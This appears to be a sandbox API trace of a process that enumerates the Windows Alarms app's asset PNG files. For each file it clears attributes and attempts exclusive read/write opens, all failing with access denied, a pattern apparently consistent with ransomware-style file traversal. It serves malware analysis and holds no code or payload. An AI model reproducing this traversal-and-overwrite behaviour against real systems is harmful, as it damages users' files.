	[0090.936] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsMedTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e698) returned 1
	[0090.936] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486061fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x486061fa, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x486061fa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsMedTile.scale-100.png", cAlternateFileName="")) returned 1
	[0090.936] wcscmp (_String1="AlarmsMedTile.scale-100.png", _String2=".") returned 1
	[0090.936] wcscmp (_String1="AlarmsMedTile.scale-100.png", _String2="..") returned 1
	[0090.936] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x118) returned 0x4771740
	[0090.936] wcscpy (in: _Dest=0x4771740, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.936] wcscat (in: _Dest=0x4771740, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.936] wcscat (in: _Dest=0x4771740, _Source="AlarmsMedTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsMedTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsMedTile.scale-100.png"
	[0090.937] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsMedTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsmedtile.scale-100.png")) returned 0x20
	[0090.937] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsMedTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.937] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsMedTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsmedtile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.937] GetLastError () returned 0x5
	[0090.937] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsMedTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.937] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771740) returned 1
	[0090.937] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4862d4df, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4862d4df, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4862d4df, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsSmallTile.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0090.937] wcscmp (_String1="AlarmsSmallTile.contrast-black_scale-100.png", _String2=".") returned 1
	[0090.937] wcscmp (_String1="AlarmsSmallTile.contrast-black_scale-100.png", _String2="..") returned 1
	[0090.937] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2d883a8
	[0090.937] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.937] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.937] wcscat (in: _Dest=0x2d883a8, _Source="AlarmsSmallTile.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSmallTile.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSmallTile.contrast-black_scale-100.png"
	[0090.937] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSmallTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmssmalltile.contrast-black_scale-100.png")) returned 0x20
	[0090.938] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSmallTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.938] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSmallTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmssmalltile.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.938] GetLastError () returned 0x5
	[0090.938] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSmallTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.939] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.939] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4862fa6f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4862fa6f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4862fa6f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x189, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsSmallTile.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0090.939] wcscmp (_String1="AlarmsSmallTile.contrast-white_scale-100.png", _String2=".") returned 1
	[0090.939] wcscmp (_String1="AlarmsSmallTile.contrast-white_scale-100.png", _String2="..") returned 1
	[0090.939] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2d883a8
	[0090.939] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.939] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.939] wcscat (in: _Dest=0x2d883a8, _Source="AlarmsSmallTile.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSmallTile.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSmallTile.contrast-white_scale-100.png"
	[0090.939] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSmallTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmssmalltile.contrast-white_scale-100.png")) returned 0x20
	[0090.942] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSmallTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.942] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSmallTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmssmalltile.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.942] GetLastError () returned 0x5
	[0090.942] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSmallTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.942] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.942] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4862fa6f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4862fa6f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4862fa6f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsSmallTile.scale-100.png", cAlternateFileName="")) returned 1
	[0090.942] wcscmp (_String1="AlarmsSmallTile.scale-100.png", _String2=".") returned 1
	[0090.942] wcscmp (_String1="AlarmsSmallTile.scale-100.png", _String2="..") returned 1
	[0090.942] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11c) returned 0x2d883a8
	[0090.942] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.942] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.942] wcscat (in: _Dest=0x2d883a8, _Source="AlarmsSmallTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSmallTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSmallTile.scale-100.png"
	[0090.942] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSmallTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmssmalltile.scale-100.png")) returned 0x20
	[0090.942] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSmallTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.943] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSmallTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmssmalltile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.943] GetLastError () returned 0x5
	[0090.943] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSmallTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.943] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.943] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4862fa6f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4862fa6f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4862fa6f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x77c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsSplashScreen.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0090.943] wcscmp (_String1="AlarmsSplashScreen.contrast-black_scale-100.png", _String2=".") returned 1
	[0090.943] wcscmp (_String1="AlarmsSplashScreen.contrast-black_scale-100.png", _String2="..") returned 1
	[0090.943] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x140) returned 0x2d883a8
	[0090.943] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.943] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.943] wcscat (in: _Dest=0x2d883a8, _Source="AlarmsSplashScreen.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSplashScreen.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSplashScreen.contrast-black_scale-100.png"
	[0090.943] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSplashScreen.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmssplashscreen.contrast-black_scale-100.png")) returned 0x20
	[0090.944] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSplashScreen.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.944] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSplashScreen.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmssplashscreen.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.945] GetLastError () returned 0x5
	[0090.945] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSplashScreen.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.945] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.945] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4862fa6f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4862fa6f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4862fa6f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x755, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsSplashScreen.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0090.945] wcscmp (_String1="AlarmsSplashScreen.contrast-white_scale-100.png", _String2=".") returned 1
	[0090.945] wcscmp (_String1="AlarmsSplashScreen.contrast-white_scale-100.png", _String2="..") returned 1
	[0090.945] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x140) returned 0x2d883a8
	[0090.945] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.945] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.945] wcscat (in: _Dest=0x2d883a8, _Source="AlarmsSplashScreen.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSplashScreen.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSplashScreen.contrast-white_scale-100.png"
	[0090.945] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSplashScreen.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmssplashscreen.contrast-white_scale-100.png")) returned 0x20
	[0090.946] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSplashScreen.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.946] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSplashScreen.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmssplashscreen.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.946] GetLastError () returned 0x5
	[0090.946] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSplashScreen.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.946] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.946] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4862fa6f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x48655cee, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x48655cee, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x77c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsSplashScreen.scale-100.png", cAlternateFileName="")) returned 1
	[0090.946] wcscmp (_String1="AlarmsSplashScreen.scale-100.png", _String2=".") returned 1
	[0090.946] wcscmp (_String1="AlarmsSplashScreen.scale-100.png", _String2="..") returned 1
	[0090.946] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x122) returned 0x2d883a8
	[0090.946] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.946] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.946] wcscat (in: _Dest=0x2d883a8, _Source="AlarmsSplashScreen.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSplashScreen.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSplashScreen.scale-100.png"
	[0090.947] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmssplashscreen.scale-100.png")) returned 0x20
	[0090.947] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSplashScreen.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.947] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmssplashscreen.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.947] GetLastError () returned 0x5
	[0090.947] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsSplashScreen.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.948] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.948] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48655cee, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x48655cee, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x48655cee, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x16e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsStoreLogo.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0090.948] wcscmp (_String1="AlarmsStoreLogo.contrast-black_scale-100.png", _String2=".") returned 1
	[0090.948] wcscmp (_String1="AlarmsStoreLogo.contrast-black_scale-100.png", _String2="..") returned 1
